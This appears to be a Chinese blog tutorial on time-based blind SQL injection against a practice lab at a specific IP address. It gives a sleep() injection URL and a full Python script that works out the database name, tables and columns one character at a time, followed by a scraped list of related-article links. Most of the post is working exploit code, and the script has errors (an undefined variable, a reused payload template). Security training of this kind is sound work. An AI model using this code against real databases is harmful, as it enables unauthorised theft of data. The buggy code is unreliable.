猜解数据库(MYSQL)信息
http://43.247.91.228:84/Less-1/?id=1' and if (length(database())=8,sleep(5),0) --+
注:http://43.247.91.228:84/Less-1/为靶场地址,发送该请求,如果数据库名的长度为8则响应会延迟5秒,否则会立
即得到响应(网状状况没那么糟糕的情况下).以下代码为使用SLEEP()延迟注入猜解数据库名长度的PYTHON脚本
import requests #################################################################
# http://43.247.91.228:84/Less-1是靶场地址
################################################################# url1 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(length(database())={_}, sleep(3), 0) --+" url2 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr(database(),{_},1))={__}, sleep(3), 0) --+" url3 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((select count(*) from information_schema.tables \
where table_schema={_})={__}, sleep(3), 0) --+" url4 = "http://43.247.91.228:84/Less-1/?id=1' and if \
((ascii(substr((select group_concat(table_name) from \
information_schema.tables where table_schema={_}), \
{__},1)))={___}, sleep(3), 0) --+" url5 = "http://43.247.91.228:84/Less-1/?id=1' and if \
(ascii(substr((select group_concat(COLUMN_NAME) from \
information_schema.COLUMNS where table_name = {_}), \
{__}, 1))={___}, sleep(3), 0) --+" #################################################################
# 函数功能:猜解数据库名的长度
# 参数意义:n 长度范围
# 返回结果:成功:数据库名长度
# 失败:0
#################################################################
def getLength(n):
for i in range(1, n + 1):
payload = url1.format( _ = i)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解数据库名
# 参数意义:length 数据库名的长度
# 返回结果:成功:数据库名字符串
# 失败:空字符串
#################################################################
def getName(length):
database = "" #数据库名初始化为空字符串
for i in range(1, length + 1):
for j in range(1, 128):
payload = url2.format( _ = i, __ = j)
print (payload)
ans = requests.get(payload)
#响应时间大于等于3秒说明猜解正确
if (ans.elapsed.seconds >= 3):
database += chr(j)
break
else:
continue
return (database) #################################################################
# 函数功能:猜解数据库中表的数量
# 参数意义:database 数据库名
# n 表的数量范围
# 返回结果:成功:表的数量
# 失败:0
#################################################################
def getTablesNum(database, n):
for i in range(1, n + 1):
payload = url3.format( _ = " '"+ database + "'", __ = i)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
return (i)
break
else:
continue
return (0) #################################################################
# 函数功能:猜解表名
# 参数意义:database 数据库名
# nameLengthTotal 所有表名的字符数及
# 逗号分隔符数之和(
# 表名之间用逗号分隔)
# 返回结果:所有表名的list数组
#################################################################
def getTablesName(database, nameLengthTotal):
tables = []
table = ""
for i in range(1, nameLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ database + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
table += chr(j)
break
else:
continue
tb = table.split(",")
for t in tb:
tables.append(t)
return (tables) #################################################################
# 函数功能:猜解某个表的字段名
# 参数意义:table 表名
# attributeLengthTotal 全部字段名的字符数及用于分
# 割的逗号数之和(字段名之间
# 用逗号分割)的范围
# 返回结果:字段名字符串list数组
#################################################################
def getTableAttributes(table, attributeLengthTotal):
attributes = []
attribute = ""
for i in range(1, attributeLengthTotal + 1):
for j in range(1, 128):
payload = url4.format( _ = " '"+ table + "'",
__ = i, ___ = j)
print (payload)
ans = requests.get(payload)
if (ans.elapsed.seconds >= 3):
attribute += chr(j)
break
else:
continue
ab = attribute.split(",")
for a in ab:
attributes.append(a)
return attributes #################################################################
#
# 主函数
#
#################################################################
if __name__=="__main__":
#猜解数据库名的长度
length = getLength(10)
#猜解数据库名
database = getName(length)
#猜解表的数量
tablesNum = getTablesNum(database, 10)
#猜解表名
tables = getTablesName(database, tableNum*8)
print ("数据库名的长度为:" + str(length))
print ("数据库名为:" + database)
print ("数据库中表的数量为:" + str(tablesNum))
print ("数据库中的表如下:")
for table in tables:
print (table)
print ("各个表的字段名如下:")
for table in tables:
print (table)
#猜解各个表的字段名
attributes = getTableAttributes(table, 100)
for attribute in attributes:
print (attribute)
猜解数据库(MYSQL)信息的更多相关文章
- python辅助sql手工注入猜解数据库案例分析
发现存在sql注入漏洞 简单一点可以直接用sqlmap工具暴库 但是如果想深入理解sql注入的原理,可以尝试手工注入,配合python脚本实现手工猜解数据库 首先hachbar开启 获取cms登录后的 ...
- MySQL查看数据库相关信息
使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令 1:查看显示所有数据库 mysql> show databases ...
- mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息
1.1. mysql数据库连接池使用(三)数据库元数据信息反射数据库获取数据库信息 有时候我们想要获取到数据库的基本信息,当前程序连接的那个数据库,数据库的版本信息,数据库中有哪些表,表中都有什么字段 ...
- Atitit mysql数据库统计信息
Atitit mysql数据库统计信息 SELECT table_name, table_rows, index_length, data_length, auto_increment, create ...
- innodb和myisam数据库文件存储详解以及mysql表空间
数据库常用的两种引擎有Innodb和Myisam,关于二者的区别参考:https://www.cnblogs.com/qlqwjy/p/7965460.html 1.关于数据库的存储在两种引擎的存储是 ...
- MySQL中 如何查询表名中包含某字段的表 ,查询MySql数据库架构信息:数据库,表,表字段
--查询tablename 数据库中 以"_copy" 结尾的表 select table_name from information_schema.tables where ta ...
- [转]MySQL查看数据库相关信息
原文链接:MySQL查看数据库相关信息 使用MySQL时,需要了解当前数据库的情况,例如当前的数据库大小.字符集.用户等等.下面总结了一些查看数据库相关信息的命令 1:查看显示所有数据库 mysql& ...
- Mysql信息数据库:Information_schema
1. Information_schema information_schema是mysql的信息数据库. 通过该库能够查看mysql以下的数据库,表.权限等信息. 在数据库中会默认生成这个库.inf ...
- Python字典猜解
摘要 目标 使用Python破解WordPress用户密码 使用Python破解zip压缩包密码 思路 通过表单提交项构建数据包,使用字典中的可选字符进行逐一排列组合暴力破解WordPress的用户密 ...
随机推荐
- JS高级---一个神奇的原型链
一个神奇的原型链 <script> var divObj=document.getElementById("dv"); console.dir(divObj); //d ...
- Mysql数据多表查询及pymysql的使用
Exists关键字表示存在,在使用exists关键字时,内增查询语句不返回查询记录,而是返回一个真假值,True或者False,返回True外层语句才会进行查询:返回False时,外层查询语句不会进行 ...
- vue引用fastClick后,ios输入框聚焦不灵敏问题
fastClick.prototype.focus = function (targetElement) { targetElement.focus() }
- L1-7 谁是赢家
思路 这题好简单,可以分析一下,没有别的情况了. 代码 #include <bits/stdc++.h> using namespace std; int main() { int p1, ...
- AcWing 338. 计数问题
#include <iostream> #include <algorithm> #include <vector> using namespace std; ; ...
- AcWing 842. 排列数字
深搜的一道水题 https://www.acwing.com/problem/content/844/ 正确输入输出 #include<bits/stdc++.h> using nam ...
- RNGCryptoServiceProvider 生成订单号
先生成1~1000的随机数 class Program { // Create a new instance of the RNGCryptoServiceProvider. private stat ...
- JVM探秘:VisualVM监控远程Java进程
VisualVM在Java 8中是JDK自带的一个图形化工具,项目主页 VisualVM,在后续版本中可能会从JDK移除. VisualVM可以监控Java进程的CPU与内存占用情况,可以监控Java ...
- IntelliJ IDEA 2017.3尚硅谷-----滚轮修改字体大小
- Kubernetes 与 Helm:使用同一个 Chart 部署多个应用
k8s 集群搭建好了,准备将 docker swarm 上的应用都迁移到 k8s 上,但需要一个一个应用写 yaml 配置文件,不仅要编写 deployment.yaml 还要编写 service.y ...